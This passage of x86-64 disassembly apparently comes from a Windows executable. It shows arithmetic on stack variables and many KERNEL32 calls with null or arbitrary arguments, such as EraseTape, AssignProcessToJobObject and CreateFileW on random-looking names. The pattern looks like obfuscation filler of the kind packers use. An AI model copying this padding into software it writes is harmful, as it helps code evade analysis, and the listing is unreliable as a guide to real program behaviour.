movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa120]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x20e], al
mov r9d, 2
lea r8, [rsp + 0x9bf0]
mov rdx, qword [rsp + 0xa020]
mov rcx, qword [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48f4], eax
mov eax, dword [rsp + 0x48cc]
mov rcx, qword [rsp + 0x9c80]
mov qword [rsp + 0xa3c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44c4], eax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4908]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4898], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b68], eax
mov rax, qword [rsp + 0x9e50]
movzx eax, byte [rax]
mov byte [rsp + 0x29b], al
mov rax, qword [rsp + 0x9cd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa2e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9898]
mov word [rcx], ax
mov r9d, 0x25c1
xor r8d, r8d
lea rdx, [rsp + 0xa1a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a10], eax
mov r9d, 1
lea r8, [rsp + 0x9ee0]
mov rdx, qword [rsp + 0xa3c8]
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a34], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x277]
imul eax, ecx
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov word [rsp + 0x11c8], ax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1094]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11cc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r9d, r9d
lea r8, [rsp + 0x9d00]
mov rdx, qword [rsp + 0xa258]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a2c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.SOcOZVp6FHygrthufPJVPndmWZTF4n
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa3d0], rax
movzx ecx, word [rsp + 0xf50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf94], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
lea rdx, [rsp + 0x9908]
mov rcx, qword [rsp + 0x9b78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b6c], eax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0xa2c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fb8c], eax
mov edx, 0x122f
mov rcx, qword [rsp + 0xa0f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xa200]
mov rcx, qword [rsp + 0x9af0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8918], rax
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9b50]
mov rcx, qword [rsp + 0x8960]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7db8], rax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4828]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e98]
mov rax, qword [rax]
mov qword [rsp + 0xa3d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov qword [rsp + 0x20], 0
mov r9d, 0x1e0c
mov r8d, 0x2bba
mov edx, 0x19
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4ab0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x1074]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11cc], ax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x250]
add eax, ecx
mov rcx, qword [rsp + 0x9db8]
mov byte [rcx], al
movsx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd38], ax
mov r9d, 2
lea r8, [rsp + 0xa188]
mov rdx, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b70], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x93e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4644], eax
movzx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0x9a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f302], ax
movzx eax, byte [rsp + 0x27e]
mov byte [rsp + 0x29c], al
mov rax, qword [rsp + 0xa040]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x93b8]
mov qword [rsp + 0xa3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x484c], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29c]
or eax, ecx
mov byte [rsp + 0xee], al
movzx eax, word [rsp + 0xe34]
mov word [rsp + 0x11d0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x97a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
xor eax, ecx
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa0a8], rax
mov eax, dword [rsp + 0x4b28]
mov rcx, qword [rsp + 0xa248]
mov qword [rsp + 0xa3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x44f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
lea rcx, [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [0x14024f3be]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9de8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa108]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x93b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1ffe0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x492c], eax
mov eax, dword [rsp + 0x484c]
mov dword [0x14024f24c], eax
movzx eax, word [0x14022fb80]
mov word [rsp + 0x11d4], ax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x280], al
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x8650]
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0x7cb8]
mov rcx, qword [rsp + 0xa250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8508], rax
mov rax, qword [rsp + 0x9c78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9870]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x940], ax
lea rcx, str.A_Z4Z.JpiO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11d8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movsx eax, byte [rsp + 0x292]
movsx ecx, byte [rsp + 0x1fd]
sub eax, ecx
mov byte [rsp + 0x199], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rdx, [rsp + 0xa3f8]
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4aec], eax
mov rax, qword [rsp + 0x93e0]
mov ecx, dword [rsp + 0x43fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49b4], eax
movzx eax, word [rsp + 0x115c]
mov word [rsp + 0x11dc], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f20], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x297]
imul eax, ecx
mov byte [0x14024f33a], al
lea rcx, [rsp + 0x206a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4b44], eax
mov rax, qword [rsp + 0xa040]
mov rcx, qword [rsp + 0x9538]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4800], eax
mov rax, qword [rsp + 0x9e58]
mov rcx, qword [rsp + 0x9af0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x84b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.NPlD7U3xcLy76
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa400], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0xa0c0]
mov rcx, qword [rsp + 0x9f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x82f8], rax
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, 0x991
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a90], eax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1164]
shl eax, cl
mov rcx, qword [rsp + 0xa060]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d90]
movzx eax, word [rax]
mov word [rsp + 0x11e0], ax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x16a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.Ry_MrU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfa0], ax
lea rdx, [rsp + 0xa408]
mov rcx, qword [rsp + 0xa300]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4abc], eax
mov r9d, 2
lea r8, [rsp + 0x8d40]
mov rdx, qword [rsp + 0x9f88]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aac], eax
mov dword [rsp + 0x20], 0x1906
mov r9d, 0x13d2
mov r8d, 0x2f96
mov edx, 0x30c0
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4b74], eax
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3776
mov r9d, 0x178e
mov r8d, 0x72bad66e
mov edx, 2
mov rcx, qword [rsp + 0x9f48]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4954], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.zhY9pbHz3vqC_a4LLss0Gm5M
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa410], rax
movzx ecx, word [rsp + 0x1184]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1094], ax
mov eax, dword [rsp + 0x4190]
mov dword [rsp + 0x4b78], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x494c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.Pdj6o35GF4zmV7_bQj53g20aE9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa418], rax
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1078], ax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.V4AZ_JM2PP2Oxx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11e4], ax
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xa290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x492c], eax
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x296]
movzx ecx, byte [0x14024f33a]
sar eax, cl
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae0], rax
mov rcx, qword [rsp + 0x90d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xa420]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4990], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3a7b
mov r9d, 0x3601
mov r8d, 0x65c489cf
mov edx, 2
mov rcx, qword [rsp + 0xa368]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4b04], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
mov rax, qword [rsp + 0x98a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4654]
xor ecx, eax
mov eax, ecx
mov dword [0x14022fb90], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
lea rcx, [rsp + 0x1a858]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0x1c24
mov r9d, 0x3c4c
mov r8d, 0x2a5e
mov edx, 0x34c3
mov rcx, qword [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b08], eax
mov rcx, qword [rsp + 0x8f70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x48f4], eax
lea rcx, str.k3KD_AU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11e8], ax
lea rcx, [rsp + 0x9ca8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x97c8]
mov rcx, qword [rsp + 0x9bc8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x9e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8650]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x89e0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ec], ax
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
lea r8, [rsp + 0x9bf0]
mov rdx, qword [rsp + 0x9c90]
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x9778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f74], eax
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x29d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9d10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [rsp + 0x1090], ax
mov rax, qword [rsp + 0x9848]
mov ecx, dword [rsp + 0x4890]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e5c], eax
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x250]
add eax, ecx
mov byte [rsp + 0x107], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx ecx, word [rsp + 0xff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeec], ax
lea rdx, [rsp + 0x9c10]
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b7c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3012
mov r9d, 0x1170
mov r8d, 0xd8e4f677
mov edx, 2
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x48f0], eax
mov eax, dword [rsp + 0x4ac8]
mov dword [0x14024f248], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2641
mov r8d, 0x2404
mov edx, 0xf0
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x48f4], eax
lea rax, [rsp + 0xf80]
mov qword [rsp + 0xa428], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x95b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0xa288]
mov rax, qword [rax]
imul rax, qword [rsp + 0x8960]
mov qword [rsp + 0xa048], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa430], rax
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0xa2d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x8918]
mov qword [rsp + 0xa438], rax
mov rax, qword [rsp + 0x9dd0]
mov rcx, qword [rsp + 0x9e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4478], eax
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa208]
movzx eax, word [rax]
mov word [rsp + 0x11f0], ax
mov rax, qword [rsp + 0xa1a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4b80], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa440], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
xor eax, ecx
mov word [0x14022fb80], ax
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0xa3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9970], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29c]
sar eax, cl
mov rcx, qword [rsp + 0x9640]
mov byte [rcx], al
lea rcx, [rsp + 0x1a588]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14024f3c0]
movzx ecx, al
mov rax, qword [rsp + 0xa000]
shl rax, cl
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x98a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b60], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0xa448], rax
lea rcx, [rsp + 0xa0d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xe6c]
mov rcx, qword [rsp + 0x9a60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa208]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0x8e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x420c], eax
mov edx, 0x2485
mov rcx, qword [rsp + 0x9a98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4980], eax
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
mov word [rsp + 0x11f4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov rcx, qword [0x14024f398]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14024f3a8], al
mov rax, qword [rsp + 0x8110]
mov rcx, qword [rsp + 0x9d58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c58]
mov ecx, dword [rsp + 0x43dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ee4], eax
mov rcx, qword [rsp + 0x98e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b84], eax
mov rax, qword [rsp + 0x9730]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x297]
add eax, ecx
mov byte [rsp + 0x298], al
mov qword [rsp + 0x20], 0
mov r9d, 0x6ce
mov r8d, 0x1227
mov edx, 0xb7
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4924], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx eax, word [rsp + 0x10cc]
mov rcx, qword [rsp + 0x9a00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9fe0]
movzx eax, word [rax]
mov word [rsp + 0x11f8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, str.N9vPuUt_CA_Fltd4_EQtRPHM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11fc], ax
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0x9f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4120], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [rsp + 0x272]
mov qword [rsp + 0xa450], rax
lea rdx, [rsp + 0x9610]
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b04], eax
mov rax, qword [rsp + 0x8b08]
mov rcx, qword [rsp + 0xa3d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9930], rax
mov rax, qword [rsp + 0xa0d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4440]
shr eax, cl
mov rcx, qword [rsp + 0xa2c8]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.XlFIVxX3AWQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa458], rax
lea rax, [rsp + 0x26f]
mov qword [0x14024f240], rax
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c98]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2b8], rax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9df0]
shl rax, cl
mov qword [rsp + 0x8688], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x9d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9898]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfc8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa340], rax
